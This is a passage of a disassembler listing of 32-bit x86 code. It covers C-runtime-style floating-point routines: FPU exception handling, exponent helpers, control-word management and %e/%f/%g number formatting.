dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_4212BF test byte ptr [ebp+arg_8], bl jz short loc_4212BF push ebx call sub_421741 pop ecx and edi, 0FFFFFFF7h jmp loc_421489 ; --------------------------------------------------------------------------- loc_4212BF: ; CODE XREF: sub_421294+15j ; sub_421294+1Aj test al, 4 jz short loc_4212D9 test byte ptr [ebp+arg_8], 4 jz short loc_4212D9 push 4 call sub_421741 pop ecx and edi, 0FFFFFFFBh jmp loc_421489 ; --------------------------------------------------------------------------- loc_4212D9: ; CODE XREF: sub_421294+2Dj ; sub_421294+33j test al, bl jz loc_4213B3 test byte ptr [ebp+arg_8], 8 jz loc_4213B3 push 8 call sub_421741 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_42138B cmp ecx, 400h jz short loc_421363 cmp ecx, 800h jz short loc_42133B cmp ecx, eax jnz loc_4213AB mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fld dbl_43ABF8 fnstsw ax sahf ja short loc_421333 fchs loc_421333: ; CODE XREF: sub_421294+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_42133B: ; CODE XREF: sub_421294+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fnstsw ax sahf jbe short loc_421353 fld dbl_43ABE8 jmp short loc_42135B ; --------------------------------------------------------------------------- loc_421353: ; CODE XREF: sub_421294+B5j fld dbl_43ABF8 fchs loc_42135B: ; CODE XREF: sub_421294+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_421363: ; CODE XREF: sub_421294+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fnstsw ax sahf jbe short loc_42137B fld dbl_43ABF8 jmp short loc_421383 ; --------------------------------------------------------------------------- loc_42137B: ; CODE XREF: sub_421294+DDj fld dbl_43ABE8 fchs loc_421383: ; CODE XREF: sub_421294+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_42138B: ; CODE XREF: sub_421294+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fld dbl_43ABE8 fnstsw ax sahf ja short loc_4213A3 fchs loc_4213A3: ; CODE XREF: sub_421294+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_4213A9: ; CODE XREF: sub_421294+A5j ; sub_421294+CDj ... fstp qword ptr [ecx] loc_4213AB: ; CODE XREF: sub_421294+81j and edi, 0FFFFFFFEh jmp loc_421489 ; --------------------------------------------------------------------------- loc_4213B3: ; CODE XREF: sub_421294+47j ; sub_421294+51j test al, 2 jz loc_421489 test byte ptr [ebp+arg_8], 10h jz loc_421489 push esi xor esi, esi test al, 10h jz short loc_4213CE mov esi, ebx loc_4213CE: ; CODE XREF: sub_421294+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427848 fnstsw ax sahf jz loc_421477 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421640 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421419 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_42146D ; --------------------------------------------------------------------------- loc_421419: ; CODE XREF: sub_421294+17Aj fld [ebp+var_C] fcomp dbl_427848 fnstsw ax sahf jnb short loc_42142B mov edx, ebx jmp short loc_42142D ; --------------------------------------------------------------------------- loc_42142B: ; CODE XREF: sub_421294+191j xor edx, edx loc_42142D: ; CODE XREF: sub_421294+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421461 sub eax, ecx loc_421444: ; CODE XREF: sub_421294+1CBj test byte ptr [ebp+var_C], bl jz short loc_42144F test esi, esi jnz short loc_42144F mov esi, ebx loc_42144F: ; CODE XREF: sub_421294+1B3j ; sub_421294+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_42145B or byte ptr [ebp+var_C+3], 80h loc_42145B: ; CODE XREF: sub_421294+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421444 loc_421461: ; CODE XREF: sub_421294+1ACj test edx, edx jz short loc_42146D fld [ebp+var_C] fchs fstp [ebp+var_C] loc_42146D: ; CODE XREF: sub_421294+183j ; sub_421294+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421479 ; --------------------------------------------------------------------------- loc_421477: ; CODE XREF: sub_421294+14Ej mov esi, ebx loc_421479: ; CODE XREF: sub_421294+1E1j test esi, esi pop esi jz short loc_421486 push 10h call sub_421741 pop ecx loc_421486: ; CODE XREF: sub_421294+1E8j and edi, 0FFFFFFFDh loc_421489: ; CODE XREF: sub_421294+26j ; sub_421294+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_4214A0 test byte ptr [ebp+arg_8], 20h jz short loc_4214A0 push 20h call sub_421741 pop ecx and edi, 0FFFFFFEFh loc_4214A0: ; CODE XREF: sub_421294+1F9j ; sub_421294+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4214AB(int,int,int,int,int,int,double,int) sub_4214AB proc near ; CODE XREF: sub_420EF6+2Bp ; sub_420F49+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421559 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421516 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_42171E lea eax, [ebp+var_20] push eax call sub_423F2D add esp, 0Ch test eax, eax jnz short loc_421510 push esi call sub_421533 pop ecx loc_421510: ; CODE XREF: sub_4214AB+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421516: ; CODE XREF: sub_4214AB+14j push 0FFFFh push [ebp+arg_20] call sub_42171E push [ebp+arg_0] call sub_421533 fld [ebp+arg_18] add esp, 0Ch leave retn sub_4214AB endp ; =============== S U B R O U T I N E ======================================= sub_421533 proc near ; CODE XREF: sub_420F49+7Dp ; sub_4214AB+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_42154E jle short locret_421558 cmp eax, 3 jg short locret_421558 mov dword_4D9714, 22h retn ; --------------------------------------------------------------------------- loc_42154E: ; CODE XREF: sub_421533+7j mov dword_4D9714, 21h locret_421558: ; CODE XREF: sub_421533+9j ; sub_421533+Ej retn sub_421533 endp ; =============== S U B R O U T I N E ======================================= sub_421559 proc near ; CODE XREF: sub_4214AB+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43AB10 loc_421560: ; CODE XREF: sub_421559+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421576 add eax, 8 inc ecx cmp eax, offset dbl_43ABE8 jl short loc_421560 xor eax, eax retn ; --------------------------------------------------------------------------- loc_421576: ; CODE XREF: sub_421559+Dj mov eax, off_43AB14[ecx*8] retn sub_421559 endp ; =============== S U B R O U T I N E ======================================= sub_42157E proc near ; CODE XREF: sub_420F49+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_42158A push 5 jmp short loc_4215A0 ; --------------------------------------------------------------------------- loc_42158A: ; CODE XREF: sub_42157E+6j test al, 8 jz short loc_421592 push 1 jmp short loc_4215A0 ; --------------------------------------------------------------------------- loc_421592: ; CODE XREF: sub_42157E+Ej test al, 4 jz short loc_42159A push 2 jmp short loc_4215A0 ; --------------------------------------------------------------------------- loc_42159A: ; CODE XREF: sub_42157E+16j test al, 1 jz short loc_4215A2 push 3 loc_4215A0: ; CODE XREF: sub_42157E+Aj ; sub_42157E+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_4215A2: ; CODE XREF: sub_42157E+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_42157E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4215AB(double) sub_4215AB proc near ; CODE XREF: sub_41CDE5:loc_41CE6Bp ; sub_41CF2B:loc_41CFB1p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_4215AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4215BD(double,int) sub_4215BD proc near ; CODE XREF: sub_421640+82p ; sub_421640+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_4215BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4215E6 proc near ; CODE XREF: sub_41CDE5+31p ; sub_41CF2B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4215FD cmp [ebp+arg_0], edx jnz short loc_42160F push 1 jmp short loc_421639 ; --------------------------------------------------------------------------- loc_4215FD: ; CODE XREF: sub_4215E6+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_42160F cmp [ebp+arg_0], edx jnz short loc_42160F push 2 jmp short loc_421639 ; --------------------------------------------------------------------------- loc_42160F: ; CODE XREF: sub_4215E6+11j ; sub_4215E6+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421622 push 3 jmp short loc_421639 ; --------------------------------------------------------------------------- loc_421622: ; CODE XREF: sub_4215E6+36j cmp cx, 7FF0h jnz short loc_42163C test [ebp+arg_4], 7FFFFh jnz short loc_421637 cmp [ebp+arg_0], edx jz short loc_42163C loc_421637: ; CODE XREF: sub_4215E6+4Aj push 4 loc_421639: ; CODE XREF: sub_4215E6+15j ; sub_4215E6+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42163C: ; CODE XREF: sub_4215E6+41j ; sub_4215E6+4Fj xor eax, eax pop ebp retn sub_4215E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421640(double,int) sub_421640 proc near ; CODE XREF: sub_421294+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427848 push esi fnstsw ax sahf jnz short loc_421660 fldz xor esi, esi fstp [ebp+var_8] jmp loc_4216F6 ; --------------------------------------------------------------------------- loc_421660: ; CODE XREF: sub_421640+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_4216CF test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421678 cmp dword ptr [ebp+arg_0], ecx jz short loc_4216CF loc_421678: ; CODE XREF: sub_421640+31j fld [ebp+arg_0] fcomp dbl_427848 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421690 push 1 pop eax jmp short loc_421692 ; --------------------------------------------------------------------------- loc_421690: ; CODE XREF: sub_421640+49j xor eax, eax loc_421692: ; CODE XREF: sub_421640+4Ej ; sub_421640+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_4216AB shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_4216A5 or dword ptr [ebp+arg_0+4], 1 loc_4216A5: ; CODE XREF: sub_421640+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421692 ; --------------------------------------------------------------------------- loc_4216AB: ; CODE XREF: sub_421640+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_4216B9 or byte ptr [ebp+arg_0+7], 80h loc_4216B9: ; CODE XREF: sub_421640+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4215BD fstp [ebp+var_8] add esp, 0Ch jmp short loc_4216F6 ; --------------------------------------------------------------------------- loc_4216CF: ; CODE XREF: sub_421640+28j ; sub_421640+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4215BD mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4216F6: ; CODE XREF: sub_421640+1Bj ; sub_421640+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421701 proc near ; CODE XREF: sub_420FE1+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_421701 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42170F proc near ; CODE XREF: sub_420FE1+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42170F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42171E proc near ; CODE XREF: sub_41CDE5+13p ; sub_41CDE5+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_42171E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421741 proc near ; CODE XREF: sub_421294+1Dp ; sub_421294+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421758 fld tbyte_43AC10 fistp [ebp+arg_0] wait loc_421758: ; CODE XREF: sub_421741+Bj test cl, 8 jz short loc_42176D fstsw ax fld tbyte_43AC10 fstp [ebp+var_8] wait fstsw ax loc_42176D: ; CODE XREF: sub_421741+1Aj test cl, 10h jz short loc_42177C fld tbyte_43AC1C fstp [ebp+var_8] wait loc_42177C: ; CODE XREF: sub_421741+2Fj test cl, 4 jz short loc_42178A fldz fld1 fdivrp st(1), st fstp st wait loc_42178A: ; CODE XREF: sub_421741+3Ej test cl, 20h jz short locret_421795 fldpi fstp [ebp+var_8] wait locret_421795: ; CODE XREF: sub_421741+4Cj leave retn sub_421741 endp ; =============== S U B R O U T I N E ======================================= sub_421797 proc near ; CODE XREF: sub_41CEB4+Fp push 30000h push 10000h call sub_423F65 pop ecx pop ecx retn sub_421797 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217A9 proc near ; CODE XREF: sub_4217E7:loc_42180Bj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427858 fstp [ebp+var_8] fld dbl_427850 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427710 fnstsw ax sahf jbe short loc_4217E3 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4217E3: ; CODE XREF: sub_4217A9+33j xor eax, eax leave retn sub_4217A9 endp ; =============== S U B R O U T I N E ======================================= sub_4217E7 proc near ; CODE XREF: sub_41CEB4+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 26B04F9h test eax, eax jz short loc_42180B push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call near ptr 26D0000h nop test eax, eax jz short loc_42180B push 0 call eax ; sub_41CEB4 retn ; --------------------------------------------------------------------------- loc_42180B: ; CODE XREF: sub_4217E7+Dj ; sub_4217E7+1Dj jmp sub_4217A9 sub_4217E7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421810 proc near ; CODE XREF: sub_41F5D4+3CBp ; DATA XREF: sub_41CECC+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DEEC cmp eax, 65h pop ecx jz short loc_421850 loc_421824: ; CODE XREF: sub_421810+3Ej inc esi cmp dword_43A88C, 1 jle short loc_42183D movsx eax, byte ptr [esi] push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_42184C ; --------------------------------------------------------------------------- loc_42183D: ; CODE XREF: sub_421810+1Cj movsx eax, byte ptr [esi] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 4 loc_42184C: ; CODE XREF: sub_421810+2Bj test eax, eax jnz short loc_421824 loc_421850: ; CODE XREF: sub_421810+12j mov cl, byte_43A890 mov al, [esi] mov [esi], cl inc esi loc_42185B: ; CODE XREF: sub_421810+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_42185B pop esi retn sub_421810 endp ; =============== S U B R O U T I N E ======================================= sub_42186A proc near ; CODE XREF: sub_41F5D4+3E2p ; DATA XREF: sub_41CECC+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43A890 mov cl, [eax] test cl, cl jz short loc_421886 loc_42187A: ; CODE XREF: sub_42186A+1Aj cmp cl, dl jz short loc_421886 mov cl, [eax+1] inc eax test cl, cl jnz short loc_42187A loc_421886: ; CODE XREF: sub_42186A+Ej ; sub_42186A+12j mov cl, [eax] inc eax test cl, cl jz short locret_4218B7 loc_42188D: ; CODE XREF: sub_42186A+34j mov cl, [eax] test cl, cl jz short loc_4218A0 cmp cl, 65h jz short loc_4218A0 cmp cl, 45h jz short loc_4218A0 inc eax jmp short loc_42188D ; --------------------------------------------------------------------------- loc_4218A0: ; CODE XREF: sub_42186A+27j ; sub_42186A+2Cj ... mov ecx, eax loc_4218A2: ; CODE XREF: sub_42186A+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_4218A2 cmp [eax], dl jnz short loc_4218AD dec eax loc_4218AD: ; CODE XREF: sub_42186A+40j ; sub_42186A+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_4218AD locret_4218B7: ; CODE XREF: sub_42186A+21j retn sub_42186A endp ; =============== S U B R O U T I N E ======================================= sub_4218B8 proc near ; DATA XREF: sub_41CECC+28o ; ___:off_43AC38o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427848 fnstsw ax sahf jb short loc_4218CD push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4218CD: ; CODE XREF: sub_4218B8+Fj xor eax, eax retn sub_4218B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4218D0 proc near ; CODE XREF: sub_420445+430p ; DATA XREF: sub_41CECC+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4218F9 lea eax, [ebp+var_8] push eax call sub_424428 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4218F9: ; CODE XREF: sub_4218D0+Cj lea eax, [ebp+arg_8] push eax call sub_424455 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_4218D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42190E proc near ; CODE XREF: sub_421B8B+17p ; sub_421BD5+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4D97AC, 0 push ebx push esi jz short loc_421943 mov ebx, [ebp+arg_8] mov eax, dword_4D97A8 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421C26 pop ecx pop ecx jmp short loc_42197B ; --------------------------------------------------------------------------- loc_421943: ; CODE XREF: sub_42190E+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4244F9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424482 add esp, 14h loc_42197B: ; CODE XREF: sub_42190E+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421987 mov byte ptr [eax], 2Dh inc eax loc_421987: ; CODE XREF: sub_42190E+73j test ebx, ebx jle short loc_42199F mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43A890 mov eax, edi pop edi mov [eax], cl loc_42199F: ; CODE XREF: sub_42190E+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4D97AC, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C620 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_4219C6 mov byte ptr [ecx], 45h loc_4219C6: ; CODE XREF: sub_42190E+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421A0B mov ebx, [esi+4] dec ebx jns short loc_4219DA neg ebx mov byte ptr [ecx], 2Dh loc_4219DA: ; CODE XREF: sub_42190E+C5j inc ecx cmp ebx, 64h jl short loc_4219F1 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4219F1: ; CODE XREF: sub_42190E+D0j inc ecx cmp ebx, 0Ah jl short loc_421A08 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421A08: ; CODE XREF: sub_42190E+E7j add [ecx+1], bl loc_421A0B: ; CODE XREF: sub_42190E+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_42190E endp ; =============== S U B R O U T I N E ======================================= sub_421A12 proc near ; CODE XREF: sub_421BB2+13p ; sub_421BD5+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4D97AC, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421A4D mov eax, dword_4D97B0 mov ebx, [esp+10h+arg_8] mov esi, dword_4D97A8 cmp eax, ebx jnz short loc_421A7D xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421A7D ; --------------------------------------------------------------------------- loc_421A4D: ; CODE XREF: sub_421A12+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4244F9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424482 add esp, 14h loc_421A7D: ; CODE XREF: sub_421A12+22j ; sub_421A12+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421A8B mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421A8B: ; CODE XREF: sub_421A12+70j mov eax, [esi+4] test eax, eax jg short loc_421AA2 push 1 push edi call sub_421C26 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421AA4 ; --------------------------------------------------------------------------- loc_421AA2: ; CODE XREF: sub_421A12+7Ej add edi, eax loc_421AA4: ; CODE XREF: sub_421A12+8Ej test ebx, ebx jle short loc_421AE9 push 1 push edi call sub_421C26 mov al, byte_43A890 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421AE9 cmp byte_4D97AC, 0 jz short loc_421ACE neg esi jmp short loc_421AD4 ; --------------------------------------------------------------------------- loc_421ACE: ; CODE XREF: sub_421A12+B6j neg esi cmp ebx, esi jl short loc_421AD6 loc_421AD4: ; CODE XREF: sub_421A12+BAj mov ebx, esi loc_421AD6: ; CODE XREF: sub_421A12+C0j push ebx push edi call sub_421C26 push ebx push 30h push edi call sub_41BD10 add esp, 14h loc_421AE9: ; CODE XREF: sub_421A12+94j ; sub_421A12+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421A12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421AF0 proc near ; CODE XREF: sub_421BD5+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4244F9 mov dword_4D97A8, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4D97B0, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424482 mov eax, dword_4D97A8 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4D97B0, ecx setl cl mov byte_4D97B4, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4D97B0, eax jl short loc_421B76 cmp eax, ebx jge short loc_421B76 test cl, cl jz short loc_421B67 loc_421B5D: ; CODE XREF: sub_421AF0+72j mov al, [esi] inc esi test al, al jnz short loc_421B5D and [esi-2], al loc_421B67: ; CODE XREF: sub_421AF0+6Bj push ebx push [ebp+arg_4] push edi call sub_421BB2 add esp, 0Ch jmp short loc_421B86 ; --------------------------------------------------------------------------- loc_421B76: ; CODE XREF: sub_421AF0+63j ; sub_421AF0+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421B8B add esp, 10h loc_421B86: ; CODE XREF: sub_421AF0+84j pop edi pop esi pop ebx pop ebp retn sub_421AF0 endp ; =============== S U B R O U T I N E ======================================= sub_421B8B proc near ; CODE XREF: sub_421AF0+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4D97AC, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_42190E and byte_4D97AC, 0 add esp, 10h retn sub_421B8B endp ; =============== S U B R O U T I N E ======================================= sub_421BB2 proc near ; CODE XREF: sub_421AF0+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4D97AC, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421A12 and byte_4D97AC, 0 add esp, 0Ch retn sub_421BB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BD5 proc near ; CODE XREF: sub_41F5D4+3AAp ; DATA XREF: sub_41CECCo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421C10 cmp [ebp+arg_8], 45h jz short loc_421C10 cmp [ebp+arg_8], 66h jnz short loc_421BFD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421A12 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421BFD: ; CODE XREF: sub_421BD5+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421AF0 jmp short loc_421C21 ; --------------------------------------------------------------------------- loc_421C10: ; CODE XREF: sub_421BD5+7j ; sub_421BD5+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42190E loc_421C21: ; CODE XREF: sub_421BD5+39j add esp, 10h pop ebp retn sub_421BD5 endp ; =============== S U B R O U T I N E ======================================= sub_421C26 proc near ; CODE XREF: sub_42190E+2Cp ; sub_421A12+83p ... arg_0 = dword ptr 4 